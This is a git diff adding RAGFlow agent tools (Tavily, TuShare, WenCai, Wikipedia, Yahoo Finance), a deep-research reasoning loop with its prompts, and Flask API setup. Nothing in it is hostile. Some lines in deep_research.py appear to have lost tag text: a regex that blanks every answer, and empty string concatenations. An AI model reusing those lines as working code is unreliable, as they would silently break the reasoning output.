"string", + "description": "The depth of the extraction process. advanced extraction retrieves more data, including tables and embedded content, with higher success but may increase latency.basic extraction costs 1 credit per 5 successful URL extractions, while advanced extraction costs 2 credits per 5 successful URL extractions.", + "enum": ["basic", "advanced"], + "default": "basic", + "required": False, + }, + "format": { + "type": "string", + "description": "The format of the extracted web page content. markdown returns content in markdown format. text returns plain text and may increase latency.", + "enum": ["markdown", "text"], + "default": "markdown", + "required": False, + } + } + } + super().__init__() + self.api_key = "" + self.extract_depth = "basic" # basic/advanced + self.urls = [] + self.format = "markdown" + self.include_images = False + + def check(self): + self.check_valid_value(self.extract_depth, "Tavily extract depth should be in 'basic/advanced'", ["basic", "advanced"]) + self.check_valid_value(self.format, "Tavily extract format should be in 'markdown/text'", ["markdown", "text"]) + + def get_input_form(self) -> dict[str, dict]: + return { + "urls": { + "name": "URLs", + "type": "line" + } + } + +class TavilyExtract(ToolBase, ABC): + component_name = "TavilyExtract" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60))) + def _invoke(self, **kwargs): + self.tavily_client = TavilyClient(api_key=self._param.api_key) + last_e = None + for fld in ["urls", "extract_depth", "format"]: + if fld not in kwargs: + kwargs[fld] = getattr(self._param, fld) + if kwargs.get("urls") and isinstance(kwargs["urls"], str): + kwargs["urls"] = kwargs["urls"].split(",") + for _ in range(self._param.max_retries+1): + try: + kwargs["include_images"] = False + res = self.tavily_client.extract(**kwargs) + self.set_output("json", res["results"]) + return self.output("json") + except Exception as e: + last_e = e + logging.exception(f"Tavily error: {e}") + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"Tavily error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return "Opened {}—pulling out the main text…".format(self.get_input().get("urls", "-_-!")) diff --git a/agent/tools/tushare.py b/agent/tools/tushare.py new file mode 100644 index 0000000..bb9d34f --- /dev/null +++ b/agent/tools/tushare.py @@ -0,0 +1,72 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +from abc import ABC +import pandas as pd +import time +import requests +from agent.component.base import ComponentBase, ComponentParamBase + + +class TuShareParam(ComponentParamBase): + """ + Define the TuShare component parameters. + """ + + def __init__(self): + super().__init__() + self.token = "xxx" + self.src = "eastmoney" + self.start_date = "2024-01-01 09:00:00" + self.end_date = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) + self.keyword = "" + + def check(self): + self.check_valid_value(self.src, "Quick News Source", + ["sina", "wallstreetcn", "10jqka", "eastmoney", "yuncaijing", "fenghuang", "jinrongjie"]) + + +class TuShare(ComponentBase, ABC): + component_name = "TuShare" + + def _run(self, history, **kwargs): + ans = self.get_input() + ans = ",".join(ans["content"]) if "content" in ans else "" + if not ans: + return TuShare.be_output("") + + try: + tus_res = [] + params = { + "api_name": "news", + "token": self._param.token, + "params": {"src": self._param.src, "start_date": self._param.start_date, + "end_date": self._param.end_date} + } + response = requests.post(url="http://api.tushare.pro", data=json.dumps(params).encode('utf-8')) + response = response.json() + if response['code'] != 0: + return TuShare.be_output(response['msg']) + df = pd.DataFrame(response['data']['items']) + df.columns = response['data']['fields'] + tus_res.append({"content": (df[df['content'].str.contains(self._param.keyword, case=False)]).to_markdown()}) + except Exception as e: + return TuShare.be_output("**ERROR**: " + str(e)) + + if not tus_res: + return TuShare.be_output("") + + return pd.DataFrame(tus_res) diff --git a/agent/tools/wencai.py b/agent/tools/wencai.py new file mode 100644 index 0000000..e2f8ade --- /dev/null +++ b/agent/tools/wencai.py @@ -0,0 +1,114 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +import pandas as pd +import pywencai + +from agent.tools.base import ToolParamBase, ToolMeta, ToolBase +from api.utils.api_utils import timeout + + +class WenCaiParam(ToolParamBase): + """ + Define the WenCai component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "iwencai", + "description": """ +iwencai search: search platform is committed to providing hundreds of millions of investors with the most timely, accurate and comprehensive information, covering news, announcements, research reports, blogs, forums, Weibo, characters, etc. +robo-advisor intelligent stock selection platform: through AI technology, is committed to providing investors with intelligent stock selection, quantitative investment, main force tracking, value investment, technical analysis and other types of stock selection technologies. +fund selection platform: through AI technology, is committed to providing excellent fund, value investment, quantitative analysis and other fund selection technologies for foundation citizens. +""", + "parameters": { + "query": { + "type": "string", + "description": "The question/conditions to select stocks.", + "default": "{sys.query}", + "required": True + } + } + } + super().__init__() + self.top_n = 10 + self.query_type = "stock" + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + self.check_valid_value(self.query_type, "Query type", + ['stock', 'zhishu', 'fund', 'hkstock', 'usstock', 'threeboard', 'conbond', 'insurance', + 'futures', 'lccp', + 'foreign_exchange']) + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + } + } + +class WenCai(ToolBase, ABC): + component_name = "WenCai" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("report", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + wencai_res = [] + res = pywencai.get(query=kwargs["query"], query_type=self._param.query_type, perpage=self._param.top_n) + if isinstance(res, pd.DataFrame): + wencai_res.append(res.to_markdown()) + elif isinstance(res, dict): + for item in res.items(): + if isinstance(item[1], list): + wencai_res.append(item[0] + "\n" + pd.DataFrame(item[1]).to_markdown()) + elif isinstance(item[1], str): + wencai_res.append(item[0] + "\n" + item[1]) + elif isinstance(item[1], dict): + if "meta" in item[1].keys(): + continue + wencai_res.append(pd.DataFrame.from_dict(item[1], orient='index').to_markdown()) + elif isinstance(item[1], pd.DataFrame): + if "image_url" in item[1].columns: + continue + wencai_res.append(item[1].to_markdown()) + else: + wencai_res.append(item[0] + "\n" + str(item[1])) + self.set_output("report", "\n\n".join(wencai_res)) + return self.output("report") + except Exception as e: + last_e = e + logging.exception(f"WenCai error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"WenCai error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return "Pulling live financial data for `{}`.".format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/wikipedia.py b/agent/tools/wikipedia.py new file mode 100644 index 0000000..83e3b13 --- /dev/null +++ b/agent/tools/wikipedia.py @@ -0,0 +1,104 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +import wikipedia +from agent.tools.base import ToolMeta, ToolParamBase, ToolBase +from api.utils.api_utils import timeout + + +class WikipediaParam(ToolParamBase): + """ + Define the Wikipedia component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "wikipedia_search", + "description": """A wide range of how-to and information pages are made available in wikipedia. Since 2001, it has grown rapidly to become the world's largest reference website. From Wikipedia, the free encyclopedia.""", + "parameters": { + "query": { + "type": "string", + "description": "The search keyword to execute with wikipedia. The keyword MUST be a specific subject that can match the title.", + "default": "{sys.query}", + "required": True + } + } + } + super().__init__() + self.top_n = 10 + self.language = "en" + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + self.check_valid_value(self.language, "Wikipedia languages", + ['af', 'pl', 'ar', 'ast', 'az', 'bg', 'nan', 'bn', 'be', 'ca', 'cs', 'cy', 'da', 'de', + 'et', 'el', 'en', 'es', 'eo', 'eu', 'fa', 'fr', 'gl', 'ko', 'hy', 'hi', 'hr', 'id', + 'it', 'he', 'ka', 'lld', 'la', 'lv', 'lt', 'hu', 'mk', 'arz', 'ms', 'min', 'my', 'nl', + 'ja', 'nb', 'nn', 'ce', 'uz', 'pt', 'kk', 'ro', 'ru', 'ceb', 'sk', 'sl', 'sr', 'sh', + 'fi', 'sv', 'ta', 'tt', 'th', 'tg', 'azb', 'tr', 'uk', 'ur', 'vi', 'war', 'zh', 'yue']) + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + } + } + +class Wikipedia(ToolBase, ABC): + component_name = "Wikipedia" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("formalized_content", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + wikipedia.set_lang(self._param.language) + wiki_engine = wikipedia + pages = [] + for p in wiki_engine.search(kwargs["query"], results=self._param.top_n): + try: + pages.append(wikipedia.page(p)) + except Exception: + pass + self._retrieve_chunks(pages, + get_title=lambda r: r.title, + get_url=lambda r: r.url, + get_content=lambda r: r.summary) + return self.output("formalized_content") + except Exception as e: + last_e = e + logging.exception(f"Wikipedia error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"Wikipedia error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return """ +Keywords: {} +Looking for the most relevant articles. + """.format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/yahoofinance.py b/agent/tools/yahoofinance.py new file mode 100644 index 0000000..9feea20 --- /dev/null +++ b/agent/tools/yahoofinance.py @@ -0,0 +1,114 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +import pandas as pd +import yfinance as yf +from agent.tools.base import ToolMeta, ToolParamBase, ToolBase +from api.utils.api_utils import timeout + + +class YahooFinanceParam(ToolParamBase): + """ + Define the YahooFinance component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "yahoo_finance", + "description": "The Yahoo Finance is a service that provides access to real-time and historical stock market data. It enables users to fetch various types of stock information, such as price quotes, historical prices, company profiles, and financial news. The API offers structured data, allowing developers to integrate market data into their applications and analysis tools.", + "parameters": { + "stock_code": { + "type": "string", + "description": "The stock code or company name.", + "default": "{sys.query}", + "required": True + } + } + } + super().__init__() + self.info = True + self.history = False + self.count = False + self.financials = False + self.income_stmt = False + self.balance_sheet = False + self.cash_flow_statement = False + self.news = True + + def check(self): + self.check_boolean(self.info, "get all stock info") + self.check_boolean(self.history, "get historical market data") + self.check_boolean(self.count, "show share count") + self.check_boolean(self.financials, "show financials") + self.check_boolean(self.income_stmt, "income statement") + self.check_boolean(self.balance_sheet, "balance sheet") + self.check_boolean(self.cash_flow_statement, "cash flow statement") + self.check_boolean(self.news, "show news") + + def get_input_form(self) -> dict[str, dict]: + return { + "stock_code": { + "name": "Stock code/Company name", + "type": "line" + } + } + +class YahooFinance(ToolBase, ABC): + component_name = "YahooFinance" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60))) + def _invoke(self, **kwargs): + if not kwargs.get("stock_code"): + self.set_output("report", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + yohoo_res = [] + try: + msft = yf.Ticker(kwargs["stock_code"]) + if self._param.info: + yohoo_res.append("# Information:\n" + pd.Series(msft.info).to_markdown() + "\n") + if self._param.history: + yohoo_res.append("# History:\n" + msft.history().to_markdown() + "\n") + if self._param.financials: + yohoo_res.append("# Calendar:\n" + pd.DataFrame(msft.calendar).to_markdown() + "\n") + if self._param.balance_sheet: + yohoo_res.append("# Balance sheet:\n" + msft.balance_sheet.to_markdown() + "\n") + yohoo_res.append("# Quarterly balance sheet:\n" + msft.quarterly_balance_sheet.to_markdown() + "\n") + if self._param.cash_flow_statement: + yohoo_res.append("# Cash flow statement:\n" + msft.cashflow.to_markdown() + "\n") + yohoo_res.append("# Quarterly cash flow statement:\n" + msft.quarterly_cashflow.to_markdown() + "\n") + if self._param.news: + yohoo_res.append("# News:\n" + pd.DataFrame(msft.news).to_markdown() + "\n") + self.set_output("report", "\n\n".join(yohoo_res)) + return self.output("report") + except Exception as e: + last_e = e + logging.exception(f"YahooFinance error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"YahooFinance error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return "Pulling live financial data for `{}`.".format(self.get_input().get("stock_code", "-_-!")) diff --git a/agentic_reasoning/__init__.py b/agentic_reasoning/__init__.py new file mode 100644 index 0000000..1422de4 --- /dev/null +++ b/agentic_reasoning/__init__.py @@ -0,0 +1 @@ +from .deep_research import DeepResearcher as DeepResearcher \ No newline at end of file diff --git a/agentic_reasoning/deep_research.py b/agentic_reasoning/deep_research.py new file mode 100644 index 0000000..d712124 --- /dev/null +++ b/agentic_reasoning/deep_research.py @@ -0,0 +1,236 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import re +from functools import partial +from agentic_reasoning.prompts import BEGIN_SEARCH_QUERY, BEGIN_SEARCH_RESULT, END_SEARCH_RESULT, MAX_SEARCH_LIMIT, \ + END_SEARCH_QUERY, REASON_PROMPT, RELEVANT_EXTRACTION_PROMPT +from api.db.services.llm_service import LLMBundle +from rag.nlp import extract_between +from rag.prompts import kb_prompt +from rag.utils.tavily_conn import Tavily + + +class DeepResearcher: + def __init__(self, + chat_mdl: LLMBundle, + prompt_config: dict, + kb_retrieve: partial = None, + kg_retrieve: partial = None + ): + self.chat_mdl = chat_mdl + self.prompt_config = prompt_config + self._kb_retrieve = kb_retrieve + self._kg_retrieve = kg_retrieve + + def _remove_tags(text: str, start_tag: str, end_tag: str) -> str: + """General Tag Removal Method""" + pattern = re.escape(start_tag) + r"(.*?)" + re.escape(end_tag) + return re.sub(pattern, "", text) + + @staticmethod + def _remove_query_tags(text: str) -> str: + """Remove Query Tags""" + return DeepResearcher._remove_tags(text, BEGIN_SEARCH_QUERY, END_SEARCH_QUERY) + + @staticmethod + def _remove_result_tags(text: str) -> str: + """Remove Result Tags""" + return DeepResearcher._remove_tags(text, BEGIN_SEARCH_RESULT, END_SEARCH_RESULT) + + def _generate_reasoning(self, msg_history): + """Generate reasoning steps""" + query_think = "" + if msg_history[-1]["role"] != "user": + msg_history.append({"role": "user", "content": "Continues reasoning with the new information.\n"}) + else: + msg_history[-1]["content"] += "\n\nContinues reasoning with the new information.\n" + + for ans in self.chat_mdl.chat_streamly(REASON_PROMPT, msg_history, {"temperature": 0.7}): + ans = re.sub(r"^.*", "", ans, flags=re.DOTALL) + if not ans: + continue + query_think = ans + yield query_think + return query_think + + def _extract_search_queries(self, query_think, question, step_index): + """Extract search queries from thinking""" + queries = extract_between(query_think, BEGIN_SEARCH_QUERY, END_SEARCH_QUERY) + if not queries and step_index == 0: + # If this is the first step and no queries are found, use the original question as the query + queries = [question] + return queries + + def _truncate_previous_reasoning(self, all_reasoning_steps): + """Truncate previous reasoning steps to maintain a reasonable length""" + truncated_prev_reasoning = "" + for i, step in enumerate(all_reasoning_steps): + truncated_prev_reasoning += f"Step {i + 1}: {step}\n\n" + + prev_steps = truncated_prev_reasoning.split('\n\n') + if len(prev_steps) <= 5: + truncated_prev_reasoning = '\n\n'.join(prev_steps) + else: + truncated_prev_reasoning = '' + for i, step in enumerate(prev_steps): + if i == 0 or i >= len(prev_steps) - 4 or BEGIN_SEARCH_QUERY in step or BEGIN_SEARCH_RESULT in step: + truncated_prev_reasoning += step + '\n\n' + else: + if truncated_prev_reasoning[-len('\n\n...\n\n'):] != '\n\n...\n\n': + truncated_prev_reasoning += '...\n\n' + + return truncated_prev_reasoning.strip('\n') + + def _retrieve_information(self, search_query): + """Retrieve information from different sources""" + # 1. Knowledge base retrieval + kbinfos = [] + try: + kbinfos = self._kb_retrieve(question=search_query) if self._kb_retrieve else {"chunks": [], "doc_aggs": []} + except Exception as e: + logging.error(f"Knowledge base retrieval error: {e}") + + # 2. Web retrieval (if Tavily API is configured) + try: + if self.prompt_config.get("tavily_api_key"): + tav = Tavily(self.prompt_config["tavily_api_key"]) + tav_res = tav.retrieve_chunks(search_query) + kbinfos["chunks"].extend(tav_res["chunks"]) + kbinfos["doc_aggs"].extend(tav_res["doc_aggs"]) + except Exception as e: + logging.error(f"Web retrieval error: {e}") + + # 3. Knowledge graph retrieval (if configured) + try: + if self.prompt_config.get("use_kg") and self._kg_retrieve: + ck = self._kg_retrieve(question=search_query) + if ck["content_with_weight"]: + kbinfos["chunks"].insert(0, ck) + except Exception as e: + logging.error(f"Knowledge graph retrieval error: {e}") + + return kbinfos + + def _update_chunk_info(self, chunk_info, kbinfos): + """Update chunk information for citations""" + if not chunk_info["chunks"]: + # If this is the first retrieval, use the retrieval results directly + for k in chunk_info.keys(): + chunk_info[k] = kbinfos[k] + else: + # Merge newly retrieved information, avoiding duplicates + cids = [c["chunk_id"] for c in chunk_info["chunks"]] + for c in kbinfos["chunks"]: + if c["chunk_id"] not in cids: + chunk_info["chunks"].append(c) + + dids = [d["doc_id"] for d in chunk_info["doc_aggs"]] + for d in kbinfos["doc_aggs"]: + if d["doc_id"] not in dids: + chunk_info["doc_aggs"].append(d) + + def _extract_relevant_info(self, truncated_prev_reasoning, search_query, kbinfos): + """Extract and summarize relevant information""" + summary_think = "" + for ans in self.chat_mdl.chat_streamly( + RELEVANT_EXTRACTION_PROMPT.format( + prev_reasoning=truncated_prev_reasoning, + search_query=search_query, + document="\n".join(kb_prompt(kbinfos, 4096)) + ), + [{"role": "user", + "content": f'Now you should analyze each web page and find helpful information based on the current search query "{search_query}" and previous reasoning steps.'}], + {"temperature": 0.7}): + ans = re.sub(r"^.*", "", ans, flags=re.DOTALL) + if not ans: + continue + summary_think = ans + yield summary_think + + return summary_think + + def thinking(self, chunk_info: dict, question: str): + executed_search_queries = [] + msg_history = [{"role": "user", "content": f'Question:\"{question}\"\n'}] + all_reasoning_steps = [] + think = "" + + for step_index in range(MAX_SEARCH_LIMIT + 1): + # Check if the maximum search limit has been reached + if step_index == MAX_SEARCH_LIMIT - 1: + summary_think = f"\n{BEGIN_SEARCH_RESULT}\nThe maximum search limit is exceeded. You are not allowed to search.\n{END_SEARCH_RESULT}\n" + yield {"answer": think + summary_think + "", "reference": {}, "audio_binary": None} + all_reasoning_steps.append(summary_think) + msg_history.append({"role": "assistant", "content": summary_think}) + break + + # Step 1: Generate reasoning + query_think = "" + for ans in self._generate_reasoning(msg_history): + query_think = ans + yield {"answer": think + self._remove_query_tags(query_think) + "", "reference": {}, "audio_binary": None} + + think += self._remove_query_tags(query_think) + all_reasoning_steps.append(query_think) + + # Step 2: Extract search queries + queries = self._extract_search_queries(query_think, question, step_index) + if not queries and step_index > 0: + # If not the first step and no queries, end the search process + break + + # Process each search query + for search_query in queries: + logging.info(f"[THINK]Query: {step_index}. {search_query}") + msg_history.append({"role": "assistant", "content": search_query}) + think += f"\n\n> {step_index + 1}. {search_query}\n\n" + yield {"answer": think + "", "reference": {}, "audio_binary": None} + + # Check if the query has already been executed + if search_query in executed_search_queries: + summary_think = f"\n{BEGIN_SEARCH_RESULT}\nYou have searched this query. Please refer to previous results.\n{END_SEARCH_RESULT}\n" + yield {"answer": think + summary_think + "", "reference": {}, "audio_binary": None} + all_reasoning_steps.append(summary_think) + msg_history.append({"role": "user", "content": summary_think}) + think += summary_think + continue + + executed_search_queries.append(search_query) + + # Step 3: Truncate previous reasoning steps + truncated_prev_reasoning = self._truncate_previous_reasoning(all_reasoning_steps) + + # Step 4: Retrieve information + kbinfos = self._retrieve_information(search_query) + + # Step 5: Update chunk information + self._update_chunk_info(chunk_info, kbinfos) + + # Step 6: Extract relevant information + think += "\n\n" + summary_think = "" + for ans in self._extract_relevant_info(truncated_prev_reasoning, search_query, kbinfos): + summary_think = ans + yield {"answer": think + self._remove_result_tags(summary_think) + "", "reference": {}, "audio_binary": None} + + all_reasoning_steps.append(summary_think) + msg_history.append( + {"role": "user", "content": f"\n\n{BEGIN_SEARCH_RESULT}{summary_think}{END_SEARCH_RESULT}\n\n"}) + think += self._remove_result_tags(summary_think) + logging.info(f"[THINK]Summary: {step_index}. {summary_think}") + + yield think + "" diff --git a/agentic_reasoning/prompts.py b/agentic_reasoning/prompts.py new file mode 100644 index 0000000..8bf101b --- /dev/null +++ b/agentic_reasoning/prompts.py @@ -0,0 +1,147 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +BEGIN_SEARCH_QUERY = "<|begin_search_query|>" +END_SEARCH_QUERY = "<|end_search_query|>" +BEGIN_SEARCH_RESULT = "<|begin_search_result|>" +END_SEARCH_RESULT = "<|end_search_result|>" +MAX_SEARCH_LIMIT = 6 + +REASON_PROMPT = f"""You are an advanced reasoning agent. Your goal is to answer the user's question by breaking it down into a series of verifiable steps. + +You have access to a powerful search tool to find information. + +**Your Task:** +1. Analyze the user's question. +2. If you need information, issue a search query to find a specific fact. +3. Review the search results. +4. Repeat the search process until you have all the facts needed to answer the question. +5. Once you have gathered sufficient information, synthesize the facts and provide the final answer directly. + +**Tool Usage:** +- To search, you MUST write your query between the special tokens: {BEGIN_SEARCH_QUERY}your query{END_SEARCH_QUERY}. +- The system will provide results between {BEGIN_SEARCH_RESULT}search results{END_SEARCH_RESULT}. +- You have a maximum of {MAX_SEARCH_LIMIT} search attempts. + +--- +**Example 1: Multi-hop Question** + +**Question:** "Are both the directors of Jaws and Casino Royale from the same country?" + +**Your Thought Process & Actions:** +First, I need to identify the director of Jaws. +{BEGIN_SEARCH_QUERY}who is the director of Jaws?{END_SEARCH_QUERY} +[System returns search results] +{BEGIN_SEARCH_RESULT} +Jaws is a 1975 American thriller film directed by Steven Spielberg. +{END_SEARCH_RESULT} +Okay, the director of Jaws is Steven Spielberg. Now I need to find out his nationality. +{BEGIN_SEARCH_QUERY}where is Steven Spielberg from?{END_SEARCH_QUERY} +[System returns search results] +{BEGIN_SEARCH_RESULT} +Steven Allan Spielberg is an American filmmaker. Born in Cincinnati, Ohio... +{END_SEARCH_RESULT} +So, Steven Spielberg is from the USA. Next, I need to find the director of Casino Royale. +{BEGIN_SEARCH_QUERY}who is the director of Casino Royale 2006?{END_SEARCH_QUERY} +[System returns search results] +{BEGIN_SEARCH_RESULT} +Casino Royale is a 2006 spy film directed by Martin Campbell. +{END_SEARCH_RESULT} +The director of Casino Royale is Martin Campbell. Now I need his nationality. +{BEGIN_SEARCH_QUERY}where is Martin Campbell from?{END_SEARCH_QUERY} +[System returns search results] +{BEGIN_SEARCH_RESULT} +Martin Campbell (born 24 October 1943) is a New Zealand film and television director. +{END_SEARCH_RESULT} +I have all the information. Steven Spielberg is from the USA, and Martin Campbell is from New Zealand. They are not from the same country. + +Final Answer: No, the directors of Jaws and Casino Royale are not from the same country. Steven Spielberg is from the USA, and Martin Campbell is from New Zealand. + +--- +**Example 2: Simple Fact Retrieval** + +**Question:** "When was the founder of craigslist born?" + +**Your Thought Process & Actions:** +First, I need to know who founded craigslist. +{BEGIN_SEARCH_QUERY}who founded craigslist?{END_SEARCH_QUERY} +[System returns search results] +{BEGIN_SEARCH_RESULT} +Craigslist was founded in 1995 by Craig Newmark. +{END_SEARCH_RESULT} +The founder is Craig Newmark. Now I need his birth date. +{BEGIN_SEARCH_QUERY}when was Craig Newmark born?{END_SEARCH_QUERY} +[System returns search results] +{BEGIN_SEARCH_RESULT} +Craig Newmark was born on December 6, 1952. +{END_SEARCH_RESULT} +I have found the answer. + +Final Answer: The founder of craigslist, Craig Newmark, was born on December 6, 1952. + +--- +**Important Rules:** +- **One Fact at a Time:** Decompose the problem and issue one search query at a time to find a single, specific piece of information. +- **Be Precise:** Formulate clear and precise search queries. If a search fails, rephrase it. +- **Synthesize at the End:** Do not provide the final answer until you have completed all necessary searches. +- **Language Consistency:** Your search queries should be in the same language as the user's question. + +Now, begin your work. Please answer the following question by thinking step-by-step. +""" + +RELEVANT_EXTRACTION_PROMPT = """You are a highly efficient information extraction module. Your sole purpose is to extract the single most relevant piece of information from the provided `Searched Web Pages` that directly answers the `Current Search Query`. + +**Your Task:** +1. Read the `Current Search Query` to understand what specific information is needed. +2. Scan the `Searched Web Pages` to find the answer to that query. +3. Extract only the essential, factual information that answers the query. Be concise. + +**Context (For Your Information Only):** +The `Previous Reasoning Steps` are provided to give you context on the overall goal, but your primary focus MUST be on answering the `Current Search Query`. Do not use information from the previous steps in your output. + +**Output Format:** +Your response must follow one of two formats precisely. + +1. **If a direct and relevant answer is found:** + - Start your response immediately with `Final Information`. + - Provide only the extracted fact(s). Do not add any extra conversational text. + + *Example:* + `Current Search Query`: Where is Martin Campbell from? + `Searched Web Pages`: [Long article snippet about Martin Campbell's career, which includes the sentence "Martin Campbell (born 24 October 1943) is a New Zealand film and television director..."] + + *Your Output:* + Final Information + Martin Campbell is a New Zealand film and television director. + +2. **If no relevant answer that directly addresses the query is found in the web pages:** + - Start your response immediately with `Final Information`. + - Write the exact phrase: `No helpful information found.` + +--- +**BEGIN TASK** + +**Inputs:** + +- **Previous Reasoning Steps:** +{prev_reasoning} + +- **Current Search Query:** +{search_query} + +- **Searched Web Pages:** +{document} +""" \ No newline at end of file diff --git a/api/__init__.py b/api/__init__.py new file mode 100644 index 0000000..643f797 --- /dev/null +++ b/api/__init__.py @@ -0,0 +1,18 @@ +# +# Copyright 2025 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +from beartype.claw import beartype_this_package +beartype_this_package() diff --git a/api/apps/__init__.py b/api/apps/__init__.py new file mode 100644 index 0000000..db27dd5 --- /dev/null +++ b/api/apps/__init__.py @@ -0,0 +1,181 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import sys +import logging +from importlib.util import module_from_spec, spec_from_file_location +from pathlib import Path +from flask import Blueprint, Flask +from werkzeug.wrappers.request import Request +from flask_cors import CORS +from flasgger import Swagger +from itsdangerous.url_safe import URLSafeTimedSerializer as Serializer + +from api.db import StatusEnum +from api.db.db_models import close_connection +from api.db.services import UserService +from api.utils.json import CustomJSONEncoder +from api.utils import commands + +from flask_mail import Mail +from flask_session import Session +from flask_login import LoginManager +from api import settings +from api.utils.api_utils import server_error_response +from api.constants import API_VERSION + +__all__ = ["app"] + +Request.json = property(lambda self: self.get_json(force=True, silent=True)) + +app = Flask(__name__) +smtp_mail_server = Mail() + +# Add this at the beginning of your file to configure Swagger UI +swagger_config = { + "headers": [], + "specs": [ + { + "endpoint": "apispec", + "route": "/apispec.json", + "rule_filter": lambda rule: True, # Include all endpoints + "model_filter": lambda tag: True, # Include all models + } + ], + "static_url_path": "/flasgger_static", + "swagger_ui": True, + "specs_route": "/apidocs/", +} + +swagger = Swagger( + app, + config=swagger_config, + template={ + "swagger": "2.0", + "info": { + "title": "RAGFlow API", + "description": "", + "version": "1.0.0", + }, + "securityDefinitions": { + "ApiKeyAuth": {"type": "apiKey", "name": "Authorization", "in": "header"} + }, + }, +) + +CORS(app, supports_credentials=True, max_age=2592000) +app.url_map.strict_slashes = False 